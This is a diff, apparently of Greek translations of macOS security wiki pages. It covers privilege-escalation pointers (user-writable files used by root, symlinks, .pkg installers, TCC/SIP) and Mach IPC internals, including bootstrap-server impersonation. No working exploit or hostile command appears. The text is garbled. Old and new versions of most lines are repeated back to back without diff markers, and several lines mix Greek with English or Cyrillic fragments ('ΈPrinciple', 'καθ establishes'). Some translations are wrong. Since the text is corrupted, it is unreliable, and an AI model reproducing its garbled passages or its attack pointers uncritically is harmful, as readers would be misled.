- Το αρχείο που χρησιμοποιήθηκε είναι μέσα σε έναν φάκελο που ανήκει στον χρήστη (ο χρήστης θα μπορούσε να δημιουργήσει το αρχείο)
- Το αρχείο που χρησιμοποιήθηκε είναι μέσα σε έναν φάκελο που ανήκει στον root αλλά ο χρήστης έχει δικαίωμα εγγραφής σε αυτόν λόγω ομάδας (ο χρήστης θα μπορούσε να δημιουργήσει το αρχείο)
- Το αρχείο που χρησιμοποιείται είναι εγγράψιμο από τον χρήστη λόγω ομάδας
- Το αρχείο που χρησιμοποιείται είναι μέσα σε έναν φάκελο που ανήκει στον χρήστη (ο χρήστης θα μπορούσε να δημιουργήσει το αρχείο)
- Το αρχείο που χρησιμοποιείται είναι μέσα σε έναν φάκελο που ανήκει στο root αλλά ο χρήστης έχει δικαίωμα εγγραφής σε αυτό λόγω ομάδας (ο χρήστης θα μπορούσε να δημιουργήσει το αρχείο)
Η δυνατότητα **δημιουργίας ενός αρχείου** που θα **χρησιμοποιηθεί από τον root**, επιτρέπει σε έναν χρήστη να **εκμεταλλευτεί το περιεχόμενό του** ή ακόμα και να δημιουργήσει **symlinks/hardlinks** για να το δείξει σε άλλη τοποθεσία.
Η δυνατότητα **δημιουργίας ενός αρχείου** που θα **χρησιμοποιηθεί από το root**, επιτρέπει σε έναν χρήστη να **εκμεταλλευτεί το περιεχόμενό του** ή ακόμα και να δημιουργήσει **symlinks/hardlinks** για να το δείξει σε άλλη τοποθεσία.
Για αυτού του είδους τις ευπάθειες, μην ξεχάσετε να **ελέγξετε ευάλωτους εγκαταστάτες `.pkg`**:
Για αυτού του είδους τις ευπάθειες, μην ξεχάσετε να **ελέγξετε ευάλωτους `.pkg` εγκαταστάτες**:
{{#ref}}
macos-files-folders-and-binaries/macos-installers-abuse.md
@ -83,13 +92,14 @@ macos-files-folders-and-binaries/macos-installers-abuse.md
Περίεργες εφαρμογές που έχουν καταχωρηθεί από επεκτάσεις αρχείων θα μπορούσαν να εκμεταλλευτούν και διαφορετικές εφαρμογές μπορούν να καταχωρηθούν για να ανοίγουν συγκεκριμένα πρωτόκολλα
{{#ref}}
macos-file-extension-apps.md
{{#endref}}
## macOS TCC / SIP Privilege Escalation
Στο macOS, **οι εφαρμογές και τα δυαδικά αρχεία μπορούν να έχουν δικαιώματα** για πρόσβαση σε φακέλους ή ρυθμίσεις που τους καθιστούν πιο προνομιούχους από άλλους.
Στο macOS, **οι εφαρμογές και τα δυαδικά αρχεία μπορούν να έχουν δικαιώματα** για πρόσβαση σε φακέλους ή ρυθμίσεις που τους καθιστούν πιο προνομιούχες από άλλες.
Επομένως, ένας επιτιθέμενος που θέλει να συμβιβάσει επιτυχώς μια μηχανή macOS θα χρειαστεί να **αναβαθμίσει τα δικαιώματα TCC** (ή ακόμα και **να παρακάμψει το SIP**, ανάλογα με τις ανάγκες του).
@ -99,7 +109,8 @@ macos-file-extension-apps.md
## macOS Traditional Privilege Escalation
Φυσικά, από την προοπτική των κόκκινων ομάδων, θα πρέπει επίσης να ενδιαφέρεστε να αναβαθμίσετε σε root. Ελέγξτε την παρακάτω ανάρτηση για μερικές υποδείξεις:
Φυσικά, από την προοπτική των κόκκινων ομάδων, θα πρέπει επίσης να ενδιαφέρεστε να αναβαθμίσετε σε root. Ελέγξτε την παρακάτω ανάρτηση για μερικές συμβουλές:
{{#ref}}
macos-privilege-escalation.md

View File

@ -6,13 +6,13 @@
Ο **πυρήνας του macOS είναι ο XNU**, που σημαίνει "X is Not Unix". Αυτός ο πυρήνας αποτελείται θεμελιωδώς από τον **Mach μικροπυρήνα** (που θα συζητηθεί αργότερα), **και** στοιχεία από την Berkeley Software Distribution (**BSD**). Ο XNU παρέχει επίσης μια πλατφόρμα για **οδηγούς πυρήνα μέσω ενός συστήματος που ονομάζεται I/O Kit**. Ο πυρήνας XNU είναι μέρος του ανοιχτού κώδικα έργου Darwin, που σημαίνει ότι **ο πηγαίος κώδικας του είναι ελεύθερα προσβάσιμος**.
Από την προοπτική ενός ερευνητή ασφαλείας ή ενός προγραμματιστή Unix, το **macOS** μπορεί να φαίνεται αρκετά **παρόμοιο** με ένα σύστημα **FreeBSD** με μια κομψή GUI και μια σειρά από προσαρμοσμένες εφαρμογές. Οι περισσότερες εφαρμογές που αναπτύσσονται για BSD θα μεταγλωττιστούν και θα εκτελούνται στο macOS χωρίς να χρειάζονται τροποποιήσεις, καθώς τα εργαλεία γραμμής εντολών που είναι οικεία στους χρήστες Unix είναι όλα παρόντα στο macOS. Ωστόσο, επειδή ο πυρήνας XNU ενσωματώνει τον Mach, υπάρχουν κάποιες σημαντικές διαφορές μεταξύ ενός παραδοσιακού συστήματος παρόμοιου με Unix και του macOS, και αυτές οι διαφορές μπορεί να προκαλέσουν πιθανά προβλήματα ή να προσφέρουν μοναδικά πλεονεκτήματα.
Από την προοπτική ενός ερευνητή ασφάλειας ή ενός προγραμματιστή Unix, το **macOS** μπορεί να φαίνεται αρκετά **παρόμοιο** με ένα σύστημα **FreeBSD** με μια κομψή GUI και μια σειρά από προσαρμοσμένες εφαρμογές. Οι περισσότερες εφαρμογές που έχουν αναπτυχθεί για το BSD θα μεταγλωττιστούν και θα εκτελούνται στο macOS χωρίς να χρειάζονται τροποποιήσεις, καθώς τα εργαλεία γραμμής εντολών που είναι γνωστά στους χρήστες Unix είναι όλα παρόντα στο macOS. Ωστόσο, επειδή ο πυρήνας XNU ενσωματώνει τον Mach, υπάρχουν κάποιες σημαντικές διαφορές μεταξύ ενός παραδοσιακού συστήματος τύπου Unix και του macOS, και αυτές οι διαφορές μπορεί να προκαλέσουν πιθανά προβλήματα ή να προσφέρουν μοναδικά πλεονεκτήματα.
Ανοιχτός κώδικας έκδοση του XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
### Mach
Ο Mach είναι ένας **μικροπυρήνας** σχεδιασμένος να είναι **συμβατός με UNIX**. Ένα από τα βασικά σχεδιαστικά του принципα ήταν να **ελαχιστοποιήσει** την ποσότητα του **κώδικα** που εκτελείται στον **χώρο πυρήνα** και αντίθετα να επιτρέπει πολλές τυπικές λειτουργίες πυρήνα, όπως το σύστημα αρχείων, το δίκτυο και το I/O, να **εκτελούνται ως εργασίες επιπέδου χρήστη**.
Ο Mach είναι ένας **μικροπυρήνας** σχεδιασμένος να είναι **συμβατός με UNIX**. ΈPrinciple του σχεδιασμού του ήταν να **ελαχιστοποιήσει** την ποσότητα του **κώδικα** που εκτελείται στον **χώρο πυρήνα** και αντίθετα να επιτρέπει πολλές τυπικές λειτουργίες του πυρήνα, όπως το σύστημα αρχείων, το δίκτυο και το I/O, να **εκτελούνται ως εργασίες επιπέδου χρήστη**.
Στον XNU, ο Mach είναι **υπεύθυνος για πολλές από τις κρίσιμες χαμηλού επιπέδου λειτουργίες** που συνήθως χειρίζεται ένας πυρήνας, όπως ο προγραμματισμός επεξεργαστή, η πολυδιεργασία και η διαχείριση εικονικής μνήμης.
@ -22,14 +22,14 @@
- Διαχείριση διεργασιών
- Διαχείριση σημάτων
- Βασικοί μηχανισμοί ασφαλείας, συμπεριλαμβανομένης της διαχείρισης χρηστών και ομάδων
- Βασικοί μηχανισμοί ασφάλειας, συμπεριλαμβανομένης της διαχείρισης χρηστών και ομάδων
- Υποδομή κλήσεων συστήματος
- Στοίβα TCP/IP και υποδοχές
- Τείχος προστασίας και φιλτράρισμα πακέτων
Η κατανόηση της αλληλεπίδρασης μεταξύ BSD και Mach μπορεί να είναι περίπλοκη, λόγω των διαφορετικών εννοιολογικών πλαισίων τους. Για παράδειγμα, το BSD χρησιμοποιεί διεργασίες ως τη θεμελιώδη μονάδα εκτέλεσης του, ενώ ο Mach λειτουργεί με βάση τα νήματα. Αυτή η διαφορά συμφιλιώνεται στον XNU με το **να συσχετίζεται κάθε διεργασία BSD με μια εργασία Mach** που περιέχει ακριβώς ένα νήμα Mach. Όταν χρησιμοποιείται η κλήση συστήματος fork() του BSD, ο κώδικας BSD μέσα στον πυρήνα χρησιμοποιεί τις λειτουργίες Mach για να δημιουργήσει μια εργασία και μια δομή νήματος.
Η κατανόηση της αλληλεπίδρασης μεταξύ BSD και Mach μπορεί να είναι περίπλοκη, λόγω των διαφορετικών εννοιολογικών πλαισίων τους. Για παράδειγμα, το BSD χρησιμοποιεί διεργασίες ως τη θεμελιώδη μονάδα εκτέλεσης του, ενώ ο Mach λειτουργεί με βάση τα νήματα. Αυτή η διαφορά συμφιλιώνεται στον XNU με το **να συσχετίζεται κάθε διεργασία BSD με μια εργασία Mach** που περιέχει ακριβώς ένα νήμα Mach. Όταν χρησιμοποιείται η κλήση συστήματος fork() του BSD, ο κώδικας BSD μέσα στον πυρήνα χρησιμοποιεί συναρτήσεις Mach για να δημιουργήσει μια δομή εργασίας και νήματος.
Επιπλέον, **ο Mach και το BSD διατηρούν διαφορετικά μοντέλα ασφαλείας**: το μοντέλο ασφαλείας του **Mach** βασίζεται στα **δικαιώματα θυρών**, ενώ το μοντέλο ασφαλείας του BSD λειτουργεί με βάση την **ιδιοκτησία διεργασίας**. Οι διαφορές μεταξύ αυτών των δύο μοντέλων έχουν κατά καιρούς οδηγήσει σε τοπικές ευπάθειες ανύψωσης προνομίων. Εκτός από τις τυπικές κλήσεις συστήματος, υπάρχουν επίσης **παγίδες Mach που επιτρέπουν στα προγράμματα χώρου χρήστη να αλληλεπιδρούν με τον πυρήνα**. Αυτά τα διαφορετικά στοιχεία μαζί σχηματίζουν την πολύπλευρη, υβριδική αρχιτεκτονική του πυρήνα macOS.
Επιπλέον, **ο Mach και το BSD διατηρούν διαφορετικά μοντέλα ασφάλειας**: το μοντέλο ασφάλειας του **Mach** βασίζεται σε **δικαιώματα θυρών**, ενώ το μοντέλο ασφάλειας του BSD λειτουργεί με βάση την **ιδιοκτησία διεργασίας**. Οι διαφορές μεταξύ αυτών των δύο μοντέλων έχουν κατά καιρούς οδηγήσει σε τοπικές ευπάθειες ανύψωσης προνομίων. Εκτός από τις τυπικές κλήσεις συστήματος, υπάρχουν επίσης **παγίδες Mach που επιτρέπουν στα προγράμματα χώρου χρήστη να αλληλεπιδρούν με τον πυρήνα**. Αυτά τα διαφορετικά στοιχεία μαζί σχηματίζουν την πολύπλευρη, υβριδική αρχιτεκτονική του πυρήνα macOS.
### I/O Kit - Drivers
@ -49,7 +49,7 @@ macos-iokit.md
Το macOS είναι **πολύ περιοριστικό για τη φόρτωση Επεκτάσεων Πυρήνα** (.kext) λόγω των υψηλών προνομίων με τα οποία θα εκτελείται ο κώδικας. Στην πραγματικότητα, από προεπιλογή είναι σχεδόν αδύνατο (εκτός αν βρεθεί μια παράκαμψη).
Στην επόμενη σελίδα μπορείτε επίσης να δείτε πώς να ανακτήσετε το `.kext` που φορτώνει το macOS μέσα στο **kernelcache** του:
Στην επόμενη σελίδα μπορείτε επίσης να δείτε πώς να ανακτήσετε το `.kext` που φορτώνει το macOS μέσα στο **kernelcache**:
{{#ref}}
macos-kernel-extensions.md

View File

@ -6,11 +6,11 @@
### Basic Information
Mach χρησιμοποιεί **tasks** ως την **μικρότερη μονάδα** για την κοινή χρήση πόρων, και κάθε task μπορεί να περιέχει **πολλές νήματα**. Αυτές οι **tasks και νήματα αντιστοιχούν 1:1 σε POSIX processes και threads**.
Το Mach χρησιμοποιεί **tasks** ως τη **μικρότερη μονάδα** για την κοινή χρήση πόρων, και κάθε task μπορεί να περιέχει **πολλές νήματα**. Αυτές οι **tasks και νήματα αντιστοιχούν 1:1 σε διαδικασίες και νήματα POSIX**.
Η επικοινωνία μεταξύ των tasks συμβαίνει μέσω της Mach Inter-Process Communication (IPC), χρησιμοποιώντας κανάλια επικοινωνίας ενός μόνο τρόπου. **Μηνύματα μεταφέρονται μεταξύ θυρών**, οι οποίες λειτουργούν όπως **ουρές μηνυμάτων** που διαχειρίζεται ο πυρήνας.
Η επικοινωνία μεταξύ των tasks συμβαίνει μέσω της Mach Inter-Process Communication (IPC), χρησιμοποιώντας κανάλια επικοινωνίας ενός τρόπου. **Τα μηνύματα μεταφέρονται μεταξύ των ports**, τα οποία λειτουργούν ως **ουρές μηνυμάτων** που διαχειρίζεται ο πυρήνας.
Κάθε διαδικασία έχει έναν **πίνακα IPC**, όπου είναι δυνατή η εύρεση των **mach ports της διαδικασίας**. Το όνομα μιας mach port είναι στην πραγματικότητα ένας αριθμός (ένας δείκτης στο αντικείμενο του πυρήνα).
Κάθε διαδικασία έχει έναν **πίνακα IPC**, όπου είναι δυνατή η εύρεση των **mach ports της διαδικασίας**. Το όνομα ενός mach port είναι στην πραγματικότητα ένας αριθμός (ένας δείκτης στο αντικείμενο του πυρήνα).
Μια διαδικασία μπορεί επίσης να στείλει ένα όνομα port με ορισμένα δικαιώματα **σε μια διαφορετική task** και ο πυρήνας θα κάνει αυτή την καταχώρηση στον **πίνακα IPC της άλλης task** να εμφανιστεί.
@ -18,19 +18,19 @@ Mach χρησιμοποιεί **tasks** ως την **μικρότερη μον
Τα δικαιώματα port, τα οποία καθορίζουν ποιες λειτουργίες μπορεί να εκτελέσει μια task, είναι κλειδί για αυτή την επικοινωνία. Τα πιθανά **δικαιώματα port** είναι ([ορισμοί από εδώ](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
- **Δικαίωμα λήψης**, το οποίο επιτρέπει τη λήψη μηνυμάτων που αποστέλλονται στην port. Οι Mach ports είναι MPSC (πολλοί παραγωγοί, ένας καταναλωτής) ουρές, που σημαίνει ότι μπορεί να υπάρχει μόνο **ένα δικαίωμα λήψης για κάθε port** σε ολόκληρο το σύστημα (σε αντίθεση με τους σωλήνες, όπου πολλές διαδικασίες μπορούν να κατέχουν περιγραφείς αρχείων στο τέλος ανάγνωσης ενός σωλήνα).
- Μια **task με το Δικαίωμα Λήψης** μπορεί να λαμβάνει μηνύματα και **να δημιουργεί Δικαιώματα Αποστολής**, επιτρέποντάς της να στέλνει μηνύματα. Αρχικά μόνο η **δική της task έχει Δικαίωμα Λήψης πάνω στην port**.
- **Δικαίωμα αποστολής**, το οποίο επιτρέπει την αποστολή μηνυμάτων στην port.
- Το Δικαίωμα Αποστολής μπορεί να **αντιγραφεί** έτσι ώστε μια task που κατέχει ένα Δικαίωμα Αποστολής να μπορεί να το αντιγράψει και **να το παραχωρήσει σε μια τρίτη task**.
- **Δικαίωμα αποστολής μία φορά**, το οποίο επιτρέπει την αποστολή ενός μηνύματος στην port και στη συνέχεια εξαφανίζεται.
- **Δικαίωμα συνόλου θυρών**, το οποίο δηλώνει ένα _σύνολο θυρών_ αντί για μια μόνο port. Η αποδέσμευση ενός μηνύματος από ένα σύνολο θυρών αποδεσμεύει ένα μήνυμα από μία από τις θυρίδες που περιέχει. Τα σύνολα θυρών μπορούν να χρησιμοποιηθούν για να ακούσουν σε πολλές θυρίδες ταυτόχρονα, πολύ όπως το `select`/`poll`/`epoll`/`kqueue` στο Unix.
- **Νεκρό όνομα**, το οποίο δεν είναι πραγματικό δικαίωμα port, αλλά απλώς μια θέση κράτησης. Όταν μια port καταστρέφεται, όλα τα υπάρχοντα δικαιώματα port στην port μετατρέπονται σε νεκρά ονόματα.
- **Δικαίωμα λήψης**, το οποίο επιτρέπει τη λήψη μηνυμάτων που αποστέλλονται στο port. Τα Mach ports είναι MPSC (πολλοί παραγωγοί, ένας καταναλωτής) ουρές, που σημαίνει ότι μπορεί να υπάρχει μόνο **ένα δικαίωμα λήψης για κάθε port** σε ολόκληρο το σύστημα (σε αντίθεση με τους σωλήνες, όπου πολλές διαδικασίες μπορούν να κατέχουν περιγραφές αρχείων στο τέλος ανάγνωσης ενός σωλήνα).
- Μια **task με το Δικαίωμα Λήψης** μπορεί να λαμβάνει μηνύματα και **να δημιουργεί Δικαιώματα Αποστολής**, επιτρέποντάς της να στέλνει μηνύματα. Αρχικά μόνο η **δική της task έχει Δικαίωμα Λήψης πάνω στο port** της.
- **Δικαίωμα αποστολής**, το οποίο επιτρέπει την αποστολή μηνυμάτων στο port.
- Το Δικαίωμα Αποστολής μπορεί να **κλωνοποιηθεί** έτσι ώστε μια task που κατέχει ένα Δικαίωμα Αποστολής να μπορεί να κλωνοποιήσει το δικαίωμα και **να το παραχωρήσει σε μια τρίτη task**.
- **Δικαίωμα αποστολής μία φορά**, το οποίο επιτρέπει την αποστολή ενός μηνύματος στο port και στη συνέχεια εξαφανίζεται.
- **Δικαίωμα συνόλου port**, το οποίο δηλώνει ένα _σύνολο port_ αντί για ένα μόνο port. Η αποδέσμευση ενός μηνύματος από ένα σύνολο port αποδεσμεύει ένα μήνυμα από ένα από τα ports που περιέχει. Τα σύνολα port μπορούν να χρησιμοποιηθούν για να ακούν σε αρκετά ports ταυτόχρονα, πολύ όπως το `select`/`poll`/`epoll`/`kqueue` στο Unix.
- **Dead name**, το οποίο δεν είναι πραγματικό δικαίωμα port, αλλά απλώς μια θέση κράτησης. Όταν ένα port καταστρέφεται, όλα τα υπάρχοντα δικαιώματα port στο port μετατρέπονται σε dead names.
**Οι tasks μπορούν να μεταφέρουν ΔΙΚΑΙΩΜΑΤΑ ΑΠΟΣΤΟΛΗΣ σε άλλους**, επιτρέποντάς τους να στέλνουν μηνύματα πίσω. **Τα ΔΙΚΑΙΩΜΑΤΑ ΑΠΟΣΤΟΛΗΣ μπορούν επίσης να αντιγραφούν, έτσι ώστε μια task να μπορεί να διπλασιάσει και να δώσει το δικαίωμα σε μια τρίτη task**. Αυτό, σε συνδυασμό με μια ενδιάμεση διαδικασία γνωστή ως **bootstrap server**, επιτρέπει την αποτελεσματική επικοινωνία μεταξύ των tasks.
**Οι tasks μπορούν να μεταφέρουν ΔΙΚΑΙΩΜΑΤΑ ΑΠΟΣΤΟΛΗΣ σε άλλες**, επιτρέποντάς τους να στέλνουν μηνύματα πίσω. **Τα ΔΙΚΑΙΩΜΑΤΑ ΑΠΟΣΤΟΛΗΣ μπορούν επίσης να κλωνοποιηθούν, έτσι ώστε μια task να μπορεί να διπλασιάσει και να δώσει το δικαίωμα σε μια τρίτη task**. Αυτό, σε συνδυασμό με μια ενδιάμεση διαδικασία γνωστή ως **bootstrap server**, επιτρέπει την αποτελεσματική επικοινωνία μεταξύ των tasks.
### File Ports
Οι File ports επιτρέπουν την ενσωμάτωση περιγραφέων αρχείων σε Mac ports (χρησιμοποιώντας δικαιώματα Mach port). Είναι δυνατή η δημιουργία ενός `fileport` από έναν δεδομένο FD χρησιμοποιώντας `fileport_makeport` και η δημιουργία ενός FD από μια fileport χρησιμοποιώντας `fileport_makefd`.
Τα File ports επιτρέπουν την ενσωμάτωση περιγραφών αρχείων σε Mac ports (χρησιμοποιώντας δικαιώματα Mach port). Είναι δυνατή η δημιουργία ενός `fileport` από μια δεδομένη FD χρησιμοποιώντας `fileport_makeport` και η δημιουργία μιας FD από ένα fileport χρησιμοποιώντας `fileport_makefd`.
### Establishing a communication
@ -38,32 +38,32 @@ Mach χρησιμοποιεί **tasks** ως την **μικρότερη μον
Όπως αναφέρθηκε, προκειμένου να καθιερωθεί το κανάλι επικοινωνίας, εμπλέκεται ο **bootstrap server** (**launchd** στο mac).
1. Η task **A** ξεκινά μια **νέα port**, αποκτώντας ένα **ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ** στη διαδικασία.
2. Η task **A**, ως κάτοχος του Δικαιώματος Λήψης, **δημιουργεί ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ για την port**.
3. Η task **A** καθ establishes a **connection** με τον **bootstrap server**, παρέχοντας το **όνομα υπηρεσίας της port** και το **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ** μέσω μιας διαδικασίας γνωστής ως bootstrap register.
4. Η task **B** αλληλεπιδρά με τον **bootstrap server** για να εκτελέσει μια bootstrap **lookup για το όνομα υπηρεσίας**. Εάν είναι επιτυχής, ο **server αντιγράφει το ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ** που έλαβε από την Task A και **το μεταδίδει στην Task B**.
5. Αφού αποκτήσει ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ, η Task **B** είναι ικανή να **διαμορφώσει** ένα **μήνυμα** και να το αποστείλει **στην Task A**.
6. Για μια αμφίδρομη επικοινωνία, συνήθως η task **B** δημιουργεί μια νέα port με ένα **ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ** και ένα **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ**, και δίνει το **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ στην Task A** ώστε να μπορεί να στέλνει μηνύματα στην TASK B (αμφίδρομη επικοινωνία).
1. Η task **A** ξεκινά ένα **νέο port**, αποκτώντας ένα **ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ** στη διαδικασία.
2. Η task **A**, ως κάτοχος του Δικαιώματος Λήψης, **δημιουργεί ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ για το port**.
3. Η task **A** καθ establishes a **connection** με τον **bootstrap server**, παρέχοντας το **όνομα υπηρεσίας του port** και το **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ** μέσω μιας διαδικασίας γνωστής ως bootstrap register.
4. Η task **B** αλληλεπιδρά με τον **bootstrap server** για να εκτελέσει μια bootstrap **lookup για το όνομα υπηρεσίας**. Εάν είναι επιτυχής, ο **server διπλασιάζει το ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ** που έλαβε από την Task A και **το μεταδίδει στην Task B**.
5. Με την απόκτηση ενός ΔΙΚΑΙΩΜΑΤΟΣ ΑΠΟΣΤΟΛΗΣ, η Task **B** είναι ικανή να **διαμορφώσει** ένα **μήνυμα** και να το αποστείλει **στην Task A**.
6. Για μια αμφίδρομη επικοινωνία, συνήθως η task **B** δημιουργεί ένα νέο port με ένα **ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ** και ένα **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ**, και δίνει το **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ στην Task A** ώστε να μπορεί να στέλνει μηνύματα στην TASK B (αμφίδρομη επικοινωνία).
Ο bootstrap server **δεν μπορεί να πιστοποιήσει** το όνομα υπηρεσίας που δηλώνει μια task. Αυτό σημαίνει ότι μια **task** θα μπορούσε δυνητικά να **παριστάνει οποιαδήποτε συστημική task**, όπως ψευδώς **να δηλώνει ένα όνομα υπηρεσίας εξουσιοδότησης** και στη συνέχεια να εγκρίνει κάθε αίτημα.
Στη συνέχεια, η Apple αποθηκεύει τα **ονόματα υπηρεσιών που παρέχονται από το σύστημα** σε ασφαλή αρχεία ρυθμίσεων, που βρίσκονται σε **SIP-protected** καταλόγους: `/System/Library/LaunchDaemons` και `/System/Library/LaunchAgents`. Μαζί με κάθε όνομα υπηρεσίας, το **σχετικό δυαδικό αρχείο αποθηκεύεται επίσης**. Ο bootstrap server θα δημιουργήσει και θα διατηρήσει ένα **ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ για καθένα από αυτά τα ονόματα υπηρεσίας**.
Για αυτές τις προκαθορισμένες υπηρεσίες, η **διαδικασία αναζήτησης διαφέρει ελαφρώς**. Όταν ένα όνομα υπηρεσίας αναζητείται, το launchd ξεκινά την υπηρεσία δυναμικά. Η νέα ροή εργασίας είναι ως εξής:
Για αυτές τις προκαθορισμένες υπηρεσίες, η **διαδικασία αναζήτησης διαφέρει ελαφρώς**. Όταν αναζητείται ένα όνομα υπηρεσίας, το launchd ξεκινά την υπηρεσία δυναμικά. Η νέα ροή εργασίας είναι ως εξής:
- Η task **B** ξεκινά μια bootstrap **lookup** για ένα όνομα υπηρεσίας.
- **launchd** ελέγχει αν η task εκτελείται και αν δεν εκτελείται, **την ξεκινά**.
- Η task **A** (η υπηρεσία) εκτελεί έναν **bootstrap check-in**. Εδώ, ο **bootstrap** server δημιουργεί ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ, το διατηρεί και **μεταφέρει το ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ στην Task A**.
- Το launchd αντιγράφει το **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ και το στέλνει στην Task B**.
- Η Task **B** δημιουργεί μια νέα port με ένα **ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ** και ένα **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ**, και δίνει το **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ στην Task A** (την svc) ώστε να μπορεί να στέλνει μηνύματα στην TASK B (αμφίδρομη επικοινωνία).
- Ο **launchd** ελέγχει αν η task εκτελείται και αν δεν εκτελείται, **την ξεκινά**.
- Η task **A** (η υπηρεσία) εκτελεί μια **bootstrap check-in**. Εδώ, ο **bootstrap** server δημιουργεί ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ, το διατηρεί και **μεταφέρει το ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ στην Task A**.
- Ο launchd διπλασιάζει το **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ και το στέλνει στην Task B**.
- Η Task **B** δημιουργεί ένα νέο port με ένα **ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ** και ένα **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ**, και δίνει το **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ στην Task A** (την svc) ώστε να μπορεί να στέλνει μηνύματα στην TASK B (αμφίδρομη επικοινωνία).
Ωστόσο, αυτή η διαδικασία ισχύει μόνο για προκαθορισμένες συστημικές tasks. Οι μη συστημικές tasks εξακολουθούν να λειτουργούν όπως περιγράφηκε αρχικά, γεγονός που θα μπορούσε δυνητικά να επιτρέψει την παριστάνουν.
Ωστόσο, αυτή η διαδικασία ισχύει μόνο για προκαθορισμένες συστημικές tasks. Οι μη συστημικές tasks λειτουργούν ακόμα όπως περιγράφηκε αρχικά, γεγονός που θα μπορούσε δυνητικά να επιτρέψει την παρενόχληση.
### A Mach Message
[Find more info here](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
Η συνάρτηση `mach_msg`, που είναι ουσιαστικά μια κλήση συστήματος, χρησιμοποιείται για την αποστολή και λήψη Mach μηνυμάτων. Η συνάρτηση απαιτεί το μήνυμα που θα σταλεί ως αρχικό επιχείρημα. Αυτό το μήνυμα πρέπει να ξεκινά με μια δομή `mach_msg_header_t`, ακολουθούμενη από το πραγματικό περιεχόμενο του μηνύματος. Η δομή ορίζεται ως εξής:
Η συνάρτηση `mach_msg`, που είναι ουσιαστικά μια κλήση συστήματος, χρησιμοποιείται για την αποστολή και λήψη Mach μηνυμάτων. Η συνάρτηση απαιτεί το μήνυμα που θα σταλεί ως την αρχική παράμετρο. Αυτό το μήνυμα πρέπει να ξεκινά με μια δομή `mach_msg_header_t`, ακολουθούμενη από το πραγματικό περιεχόμενο του μηνύματος. Η δομή ορίζεται ως εξής:
```c
typedef struct {
mach_msg_bits_t msgh_bits;
@ -76,7 +76,7 @@ mach_msg_id_t msgh_id;
```
Διεργασίες που κατέχουν ένα _**δικαίωμα λήψης**_ μπορούν να λαμβάνουν μηνύματα σε μια Mach θύρα. Αντίθετα, οι **αποστολείς** έχουν ένα _**δικαίωμα αποστολής**_ ή ένα _**δικαίωμα αποστολής-μία φορά**_. Το δικαίωμα αποστολής-μία φορά προορίζεται αποκλειστικά για την αποστολή ενός μόνο μηνύματος, μετά το οποίο καθίσταται άκυρο.
Για να επιτευχθεί μια εύκολη **διπλής κατεύθυνσης επικοινωνία**, μια διεργασία μπορεί να καθορίσει μια **mach θύρα** στην κεφαλίδα **μηνύματος** που ονομάζεται _θύρα απάντησης_ (**`msgh_local_port`**) όπου ο **δέκτης** του μηνύματος μπορεί να **στείλει μια απάντηση** σε αυτό το μήνυμα. Οι σημαίες bit στο **`msgh_bits`** μπορούν να χρησιμοποιηθούν για να **υποδείξουν** ότι ένα **δικαίωμα αποστολής-μία φορά** θα πρέπει να παραχθεί και να μεταφερθεί για αυτή τη θύρα (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
Για να επιτευχθεί μια εύκολη **διπλής κατεύθυνσης επικοινωνία**, μια διεργασία μπορεί να καθορίσει μια **mach port** στην κεφαλίδα **μηνύματος** που ονομάζεται _θύρα απάντησης_ (**`msgh_local_port`**) όπου ο **δέκτης** του μηνύματος μπορεί να **στείλει μια απάντηση** σε αυτό το μήνυμα. Οι bitflags στο **`msgh_bits`** μπορούν να χρησιμοποιηθούν για να **υποδείξουν** ότι ένα **δικαίωμα αποστολής-μία φορά** θα πρέπει να παραχθεί και να μεταφερθεί για αυτή τη θύρα (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
> [!TIP]
> Σημειώστε ότι αυτός ο τύπος διπλής κατεύθυνσης επικοινωνίας χρησιμοποιείται σε μηνύματα XPC που αναμένουν μια απάντηση (`xpc_connection_send_message_with_reply` και `xpc_connection_send_message_with_reply_sync`). Αλλά **συνήθως δημιουργούνται διαφορετικές θύρες** όπως εξηγήθηκε προηγουμένως για να δημιουργηθεί η διπλής κατεύθυνσης επικοινωνία.
@ -89,13 +89,13 @@ mach_msg_id_t msgh_id;
- `msgh_id`: το ID αυτού του μηνύματος, το οποίο ερμηνεύεται από τον δέκτη.
> [!CAUTION]
